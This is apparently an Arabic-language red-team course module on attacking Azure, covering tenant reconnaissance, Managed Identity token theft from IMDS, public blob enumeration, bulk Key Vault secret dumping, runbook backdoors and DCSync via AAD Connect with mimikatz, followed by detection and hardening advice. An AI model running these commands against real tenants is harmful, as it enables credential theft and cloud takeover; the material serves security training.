الفرق الحمراء — الهجومخبير95mL41

Azure Attacks — الـ Managed Identity مش لُعبة

RBAC abuse و MI theft و Storage و Key Vault و Runbooks

#Azure#RBAC#MI#Key Vault#Runbook

ليه Azure مختلف عن AWS و GCP؟

تشبيه — شرح مبسط

ليه Azure شغل الـ state actors؟ ليه روسيا والصين بيستهدفوها بالذات؟ مش بس علشان فيها داتا. علشان Azure هي الـ هوية نفسها.

تخيّل مدينتين جنب بعض، بينهم جسور كتير. كل جسر ليه حارس مختلف. وأغلب الجسور دي محدش بناها بقصد — اتولدت من اتفاقيات قديمة وما حدش راجعها. المهاجم بيدوّر على أرخى نقطة في المنظومة، مش أقصر طريق.

- طب يا حضرتك، Microsoft نفسها مش متحصنة؟ هما بيعملوا الـ cloud أصلاً.
يا مستجد. خد بقى. في حادثة Midnight Blizzard (يناير 2024)، روسيا اخترقت Microsoft نفسها عن طريق password spray على tenant قديم بتاع test، ومنه قفزوا لـ OAuth app معاها صلاحيات على الـ corporate tenant. مايكروسوفت! اللي بتعمل Azure أصلاً!

Azure مدمج بعمق مع Entra ID (هوية اليوزرز) ومع Active Directory الكلاسيكي. الاختراق هنا بيقفز بين الطبقات: من حساب M365 → لـ Subscription → لـ VM → لـ on-prem AD. الجسور دي هي اللي بتخلي Azure هدف ذهبي للـ state actors.

تنبيه قانوني

كل اللي هنا للتطبيق في بيئاتك الخاصة أو ضمن نطاق Pentest معاك فيه إذن. مهاجمة subscription مش بتاعتك = جريمة فيدرالية في أغلب الدول.

غلطات الـ junior في Azure

يخلط بين Entra Roles و Azure RBAC. يفتكر إن Global Admin معاه access على الـ subscriptions أوتوماتيك. لا، لازم يفعّل elevation.
يفتكر إن Conditional Access policies مفعّلة على كل المستخدمين. الـ break-glass accounts مستثناة. وفيه يوزر admin من 2018 ما اتغطّاش.
يطلب Managed Identity token من VM ما يفتكرش يفحص الـ scope بتاعها قبل ما يشتغل. ممكن تكون Reader، ممكن تكون Owner على الـ subscription كله.
ينسى الـ refresh tokens. الـ access token عمره ساعة، الـ refresh token عمره 90 يوم.

نموذج الصلاحيات — RBAC + Entra Roles

Azure RBAC

صلاحيات على الموارد (VMs, Storage, KeyVault). بتتمنح على Scope: Management Group → Subscription → Resource Group → Resource.

Entra (AAD) Roles

صلاحيات على الهوية (User Admin, Global Admin). منفصلة عن RBAC — الـ Global Admin مش بيشوف الـ Subscriptions أوتوماتيك (بس يقدر يرفع نفسه عبر "Access management for Azure resources").

بُص بقى — نقطة الضعف الكلاسيكية

Global Admin → فعّل "User Access Administrator at root" → Owner على كل Subscription. كليكتين بس بين تسريب MFA والسيطرة الكاملة. اوعى تفتكر إن الـ separation ده بيحميك — الباب موجود وبيتفتح بكليك.

الاستطلاع — معلومات عن الـ Tenant من غير اعتماد

$ # هل النطاق tenant Azure؟ معرفة tenant ID:

$ curl -s 'https://login.microsoftonline.com/target.gov/.well-known/openid-configuration' | jq .issuer

$ # تعداد المستخدمين دون اعتماد (UserEnumerationTimingAttack)

$ AADInternals> Invoke-AADIntUserEnumerationAsOutsider -UserName 'admin@target.gov'

UserName Exists admin@target.gov True

$ # قائمة domains المربوطة بنفس tenant

$ Get-AADIntTenantDomains -Domain target.gov

Managed Identity — جوهرة المهاجم

لما تشغّل VM أو Function App في Azure، تقدر تديها Managed Identity — هوية أوتوماتيك معاها صلاحيات على موارد تانية. الفايدة: مفيش باسوردات. المشكلة: أي حد يخترق الـ VM، بقا هو نفسه الـ identity في ثانية.

$ # من داخل VM مخترقة — اطلب token من IMDS

$ curl -s -H 'Metadata: true' \ 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'

{"access_token":"eyJ0eXA...","expires_in":"86399","resource":"https://management.azure.com/"}

$ # استخدمه عبر az CLI

$ export AZ_TOKEN=eyJ0eXA...

$ az rest --method get --uri 'https://management.azure.com/subscriptions?api-version=2020-01-01' --headers "Authorization=Bearer $AZ_TOKEN"

الجواهر اللي تطلبها

اطلب token لـ https://vault.azure.net واقرا Key Vault. أو لـ https://storage.azure.com ونزّل الـ blobs. أو لـ https://graph.microsoft.com واقرا الـ Tenant كله.

Storage Accounts — أكبر مصدر للتسريب

Public containers — زي S3 buckets، بس أصعب في الاكتشاف (الـ DNS مش بيتحرث بسهولة).
SAS Tokens — مفاتيح مؤقتة. بتلاقيها في كود JavaScript على الـ frontend، Postman، commits على GitHub.
Storage Account Keys — مفتاحين أبديين لكل حساب. اللي معاه واحد منهم = SYSTEM على الداتا.

$ # تخمين أسماء حسابات تخزين عامة

$ for name in target targetbackup targetdev targetprod; do

$ curl -sI "https://${name}.blob.core.windows.net/?comp=list" | head -1

$ done

HTTP/1.1 200 OK # موجود! HTTP/1.1 400 Bad Request

$ # Microburst لاكتشاف أسرع

$ Invoke-EnumerateAzureBlobs -Base 'target' -Permutations all

Key Vault — صندوق الأسرار الذهبي

Key Vault بيحتوي certificates وsecrets وkeys. الهجوم مش بيكسر التشفير — بيكسر سياسة الوصول.

bash

# كل من له get/list secrets يستطيع تنزيل كل شيء
az keyvault secret list --vault-name target-kv --query '[].name' -o tsv \
  | while read name; do
      echo "=== $name ==="
      az keyvault secret show --vault-name target-kv --name "$name" --query value -o tsv
    done

# Soft-delete لا يحميك — يمكن استعادة secret محذوف لمدة 90 يوماً
az keyvault secret list-deleted --vault-name target-kv

الحماية

فعّل Purge Protection (مفيش رجوع)، استخدم RBAC mode بدل Access Policies (أدق)، Private Endpoint، وراقب SecretGet events في Defender.

Automation Accounts والـ Runbooks

الـ Runbook = سكريبت PowerShell بيشتغل بصلاحيات Run-As Account (غالباً Contributor على الـ Subscription). أي حد يقدر يعدل عليه، بقى Contributor.

$ # إذا لديك Contributor على Automation Account:

$ az automation runbook create --resource-group rg --automation-account-name auto1 \ --name backdoor --type PowerShell

$ az automation runbook replace-content --resource-group rg --automation-account-name auto1 \ --name backdoor --content @evil.ps1

$ az automation runbook publish ...

$ az automation runbook start ... # يعمل بصلاحيات Run-As Identity

الـ evil.ps1 ممكن ينشئ Service Principal بصلاحيات Owner ويبعت الـ credentials بره البيئة.

القفز للـ on-prem — عن طريق Azure AD Connect

الـ server اللي بيشغل Azure AD Connect فيه حسابين خدمة، الاتنين قاتلين:

MSOL_* — معاه صلاحية DCSync على on-prem AD. اللي يكسر هاش الحساب ده، بيقرا كل الباسوردات في الدومين.
Sync_* — معاه صلاحية على Entra للمزامنة. كفاية إنه يعمل reset لباسورد Global Admin مش "cloud-only".

powershell

# على خادم AAD Connect — استخراج credentials
adconnectdump.exe   # أو AADInternals: Get-AADIntSyncCredentials

# ثم DCSync بحساب MSOL_ من أي مكان داخل الشبكة
mimikatz # lsadump::dcsync /domain:corp.local /user:Administrator /authuser:MSOL_xxx /authpassword:xxx

الكشف والحماية

اللي لازم الـ Blue Team يشوفه

Sign-in Logs — أدمن بيدخل من IP غريب. UEBA risk score > 70 = جرس إنذار.
Audit Logs — إضافة credential على Service Principal، تعديل Conditional Access policies، رفع role.
Activity Log — على الـ Subscription: Microsoft.Authorization/roleAssignments/write، Microsoft.KeyVault/vaults/secrets/getSecret من principal مش معتاد.
Defender for Cloud — بيكشف Managed Identity token abuse وIMDS من شبكة مش معتادة.

طبّق Conditional Access على كل دور إداري — MFA قوي + Trusted Locations + Compliant Device.
استخدم Privileged Identity Management (PIM) — أدوار Just-In-Time مع تفعيل وموافقة.
اعزل Break-Glass accounts (اتنين على الأقل) بره الـ Conditional Access، وحط تنبيه على كل استخدام.
راجع الـ Service Principals كل أسبوع — كتير منهم بينسى ومعاه credentials مالهاش انتهاء.

أدوات الـ Red Team

AADInternals, ROADtools, MicroBurst, AzureHound, Stormspotter, MSOLSpray, TokenTactics.

الخلاصة الناشفة

Azure مش subscription فيها VMs. Azure هوية موصولة بكل حاجة في الشركة.
لو الـ Global Admin اتخرق، الـ on-prem AD اتخرق معاه (لو Entra Connect مفعّل). والـ M365 اتخرق. والـ Subscriptions اتخرقت لو فعّل elevation.

الـ junior بيحمي VMs.
الـ pro بيحمي identities.
الـ state actor بيحمي نفسه عن طريق سرقة identity ساكت ويقعد جوه شهور.

لو Conditional Access policies عندك فيها break-glass accounts من غير monitoring، يبقى إنت مش بتدافع — إنت بتسيب باب جانبي وفاكر الموضوع آمن.

اكتبها على screensaver السيرفر:
اللي بيحمي identities بيحمي كل حاجة. اللي بيحمي VMs بيحمي الـ VMs بس.

AWS Attack Chains — سلاسل بتحصل فعلاً

الوحدة التالية

M365 & Entra Attacks — Token واحد بيقلب الدنيا